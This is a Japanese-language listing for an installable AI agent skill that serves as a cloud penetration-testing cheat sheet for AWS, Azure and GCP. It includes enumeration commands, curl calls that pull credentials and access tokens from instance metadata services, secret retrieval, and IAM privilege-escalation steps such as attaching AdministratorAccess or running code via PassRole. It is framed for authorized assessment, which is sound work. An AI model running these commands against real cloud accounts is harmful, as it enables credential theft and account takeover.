mcpField
E
exploiting-cloud-platforms

exploiting-cloud-platforms

github.com/trilwuセキュリティ17799 回インストール12 週間前に更新
リポジトリ

exploiting-cloud-platforms について

AWS、Azure、GCP環境のセキュリティ評価向けスキルです。ストレージ、IAM、コンピュート、サーバーレスサービス、一般的な設定不備を軸に、クラウドの調査と悪用の手順をまとめています。

主な機能

  1. 01AWS、Azure、GCPの評価ガイド
  2. 02ストレージとIAMの列挙
  3. 03コンピュートとメタデータサービスの確認
  4. 04権限昇格の手法
  5. 05クラウド設定不備の確認

活用シーン

  1. 01許可を得たテストでのクラウドアカウント評価
  2. 02ストレージの公開状態とアクセス方針の確認
  3. 03IAMの権限昇格経路の調査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/trilwu/secskills --skill exploiting-cloud-platforms

インストール後、Claude Code で/exploiting-cloud-platformsを入力して読み込まれたか確認します。

同梱ファイルreferences/azure-command-reference.md

詳細

クラウドプラットフォームの悪用

使用する場合

  • AWS、Azure、GCP のセキュリティ評価
  • クラウドの設定ミスの悪用
  • S3/Blob/Storage バケットの調査
  • クラウド IAM の権限昇格
  • サーバーレス関数の悪用
  • クラウドメタデータサービスの悪用

使用しない場合

  • オンプレミスの Active Directory — attacking-active-directory を使用してください
  • コンテナーと Kubernetes の内部構造 — exploiting-containers を使用してください
  • ソースコードからの IaC とパイプラインのレビュー — auditing-supply-chain を使用してください
  • クラウド侵害の調査 — responding-to-incidents を使用してください
  • アカウントを攻撃するのではなく、セキュリティ態勢を強化する場合 — hardening-cloud-posture を使用してください

詳細スキルへの切り替え

クラウドには、個別の手順スキルが必要なほど深い攻撃対象領域がいくつかあります。評価対象が次のいずれかに絞られたら、該当するスキルに切り替えてください。ここで扱う IAM とストレージの手法では、それらに固有の詳細を網羅できません。

シグナルスキル
Entra ID/Azure AD が ID の標的となる場合:トークン、PRT、同意付与、ハイブリッド同期attacking-entra-id
マネージド Kubernetes クラスター(EKS/GKE/AKS):Pod からクラウドへの IMDS、IRSA/Workload Identity、k8s RBACattacking-eks-gke-aks
Lambda/Azure Functions/Cloud Functions/Workers:イベントインジェクション、実行ロールの悪用attacking-serverless
クラウドとの OIDC フェデレーションを使用する CI/CD パイプライン:広範な信頼ポリシー、ランナーの侵害abusing-ci-cd-oidc

AWS セキュリティ

AWS CLI のセットアップ
# Configure credentials
aws configure
# Or export directly
export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
export AWS_DEFAULT_REGION=us-east-1

# Test credentials
aws sts get-caller-identity

# List available regions
aws ec2 describe-regions
S3 バケットの列挙
# List buckets
aws s3 ls

# List bucket contents
aws s3 ls s3://bucket-name/
aws s3 ls s3://bucket-name/ --recursive

# Download bucket contents
aws s3 sync s3://bucket-name/ ./local-folder/

# Check public access
aws s3api get-bucket-acl --bucket bucket-name
aws s3api get-bucket-policy --bucket bucket-name

# Test unauthenticated access
aws s3 ls s3://bucket-name/ --no-sign-request
curl https://bucket-name.s3.amazonaws.com/

S3 バケットの検出:

# Common naming patterns
company-backup
company-data
company-dev
company-prod
company-logs
company-assets

# Tools
# s3scanner
python3 s3scanner.py buckets.txt

# S3 Inspector
python3 s3inspector.py --bucket-file buckets.txt
IAM の列挙
# Current user info
aws sts get-caller-identity

# List IAM users (if allowed)
aws iam list-users

# List user policies
aws iam list-attached-user-policies --user-name username
aws iam list-user-policies --user-name username

# Get policy details
aws iam get-policy --policy-arn arn:aws:iam::aws:policy/PolicyName
aws iam get-policy-version --policy-arn arn --version-id v1

# List roles
aws iam list-roles

# List groups
aws iam list-groups
EC2 の列挙
# List instances
aws ec2 describe-instances

# Get instance metadata (from instance)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

# List security groups
aws ec2 describe-security-groups

# List key pairs
aws ec2 describe-key-pairs

# List snapshots
aws ec2 describe-snapshots --owner-ids self

# Public snapshots by account
aws ec2 describe-snapshots --owner-ids 123456789012 --restorable-by-user-ids all
Lambda 関数
# List functions
aws lambda list-functions

# Get function code
aws lambda get-function --function-name function-name

# Invoke function
aws lambda invoke --function-name function-name output.txt

# Get function configuration
aws lambda get-function-configuration --function-name function-name
RDS の列挙
# List DB instances
aws rds describe-db-instances

# List DB snapshots
aws rds describe-db-snapshots

# Check if publicly accessible
aws rds describe-db-instances --query 'DBInstances[*].[DBInstanceIdentifier,PubliclyAccessible]'
Secrets Manager
# List secrets
aws secretsmanager list-secrets

# Get secret value
aws secretsmanager get-secret-value --secret-id secret-name
CloudTrail(ログ記録)
# Check if CloudTrail is enabled
aws cloudtrail describe-trails

# Check trail status
aws cloudtrail get-trail-status --name trail-name

# Get recent events
aws cloudtrail lookup-events
AWS の権限昇格

よくある設定ミス:

# iam:CreatePolicyVersion - modify existing policies
# iam:SetDefaultPolicyVersion - set older policy version
# iam:PassRole + lambda:CreateFunction - execute code as role
# iam:AttachUserPolicy - attach admin policy to self
# iam:PutUserPolicy - add inline policy to self
# iam:CreateAccessKey - create keys for other users
# iam:UpdateAssumeRolePolicy - modify trust relationships

悪用の例:

# Create access key for admin user (if iam:CreateAccessKey)
aws iam create-access-key --user-name admin-user

# Attach admin policy (if iam:AttachUserPolicy)
aws iam attach-user-policy --user-name current-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# PassRole + Lambda
aws lambda create-function --function-name evil --runtime python3.9 --role arn:aws:iam::ACCOUNT:role/AdminRole --handler lambda_function.lambda_handler --zip-file fileb://function.zip
aws lambda invoke --function-name evil output.txt

Azure セキュリティ

Azure CLI のセットアップ、Blob ストレージ、VM/Azure AD の列挙、Function Apps、Key Vault、メタデータサービスのコマンドは、詳細なリファレンスに記載されています: references/azure-command-reference.md。

GCP セキュリティ

gcloud のセットアップ
# Login
gcloud auth login

# Login with service account
gcloud auth activate-service-account --key-file=key.json

# Get current account
gcloud config list

# List projects
gcloud projects list
ストレージバケットの列挙
# List buckets
gsutil ls

# List bucket contents
gsutil ls gs://bucket-name/

# Download files
gsutil cp gs://bucket-name/file.txt ./

# Check bucket permissions
gsutil iam get gs://bucket-name/

# Test unauthenticated access
curl https://storage.googleapis.com/bucket-name/file.txt

バケットの検出:

# Common patterns
company-backup
company-data
company_backup
company_data

# GCPBucketBrute
python3 gcpbucketbrute.py -k company
Compute Engine
# List instances
gcloud compute instances list

# Get instance details
gcloud compute instances describe instance-name --zone=zone

# List disks
gcloud compute disks list

# List snapshots
gcloud compute snapshots list

# List firewall rules
gcloud compute firewall-rules list
IAM の列挙
# List service accounts
gcloud iam service-accounts list

# Get IAM policy
gcloud projects get-iam-policy PROJECT_ID

# List roles
gcloud iam roles list

# Describe role
gcloud iam roles describe roles/editor
Cloud Functions
# List functions
gcloud functions list

# Describe function
gcloud functions describe function-name --region=region

# Download source code (if accessible)
gcloud functions describe function-name --region=region --format="value(sourceArchiveUrl)"
GCP メタデータサービス
# From GCP VM
curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true" -H "Metadata-Flavor: Google"

# Get access token
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"

# Get service account email
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email" -H "Metadata-Flavor: Google"

クラウド悪用ツール

AWS:

# Pacu - AWS exploitation framework
python3 pacu.py

# ScoutSuite - Security auditing
python3 scout.py aws

# Prowler - Security assessment
./prowler -M csv

# WeirdAAL - AWS attack library
python3 weirdAAL.py

Azure:

# MicroBurst - PowerShell toolkit
Import-Module MicroBurst.psm1
Invoke-EnumerateAzureBlobs
Invoke-EnumerateAzureSubDomains

# ScoutSuite
python3 scout.py azure

# ROADtools - Azure AD
roadrecon auth
roadrecon gather
roadrecon gui

GCP:

# ScoutSuite
python3 scout.py gcp

# GCP-IAM-Privilege-Escalation
# Check for privilege escalation paths

クラウドですぐに狙えるポイント

AWS:

  • 機密データを含む公開 S3 バケット
  • 過度に許可範囲の広い IAM ポリシー
  • 暗号化されていないスナップショット
  • 公開 RDS インスタンス
  • 環境変数にシークレットが含まれる Lambda 関数
  • EC2 メタデータサービスの悪用(SSRF)

Azure:

  • 公開 Blob ストレージコンテナー
  • 過度に許可範囲の広い RBAC
  • 漏えいした Key Vault のシークレット
  • 認証情報が弱い外部公開 VM
  • シークレットがハードコードされた Function Apps

GCP:

  • 公開ストレージバケット
  • 過度に許可範囲の広い IAM バインディング
  • 公開 Compute インスタンス
  • サービスアカウントキーの漏えい
  • コード内にシークレットが含まれる Cloud Functions

よくあるクラウド設定ミス

  1. 公開ストレージ - 読み取り/書き込みが公開されている S3/Blob/GCS バケット
  2. 過剰な権限 - 許可範囲が過度に広い IAM/RBAC ポリシー
  3. シークレットの漏えい - コードや環境変数に含まれるキー/パスワード
  4. MFA なし - 多要素認証が設定されていない重要アカウント
  5. オープンなセキュリティグループ - 機密性の高いポートへの 0.0.0.0/0 アクセス
  6. データの暗号化なし - 暗号化されていないストレージ/データベース
  7. デフォルトの認証情報 - デフォルトパスワードを使用するサービス
  8. メタデータの露出 - SSRF によるクラウドメタデータサービスへのアクセス
  9. 公開スナップショット - EBS/ディスクのスナップショットが一般公開されている
  10. CloudTrail の無効化 - API 呼び出しのログ記録がない

ATT&CK のカバレッジ

secskills-core/ttp-index.json から生成されています。このファイルを編集してから、 python3 scripts/sync_attack.py --write を実行してください。レポートに記載する前に、 現在の ATT&CK リリースに照らして ID を再確認してください。

初期アクセス(TA0001)

  • T1078 有効なアカウント (永続化、権限昇格、防御回避にも関連) — cracking-passwords、attacking-active-directory も参照
  • T1078.004 クラウドアカウント (永続化にも関連) — attacking-entra-id も参照
  • T1199 信頼関係 — abusing-ci-cd-oidc、attacking-entra-id も参照

永続化(TA0003)

  • T1098.001 追加のクラウド認証情報 — responding-to-incidents も参照

認証情報アクセス(TA0006)

  • T1528 アプリケーションアクセストークンの窃取 — testing-apis、attacking-entra-id、attacking-oauth-oidc も参照
  • T1552 保護されていない認証情報 — escalating-linux-privileges、auditing-supply-chain、abusing-ci-cd-oidc も参照
  • T1552.005 クラウドインスタンスのメタデータ API — exploiting-ssrf、attacking-eks-gke-aks も参照

探索(TA0007)

  • T1069 権限グループの探索 — attacking-active-directory も参照
  • T1087 アカウントの探索 — attacking-active-directory も参照
  • T1526 クラウドサービスの探索

収集(TA0009)

  • T1530 クラウドストレージからのデータ取得

影響(TA0040)

  • T1496 リソースの乗っ取り — hunting-threats も参照

これらのいずれかに関する検出コンテンツ:engineering-detections。プロアクティブな調査:hunting-threats。侵害後の対応:responding-to-incidents。

参考資料

コメント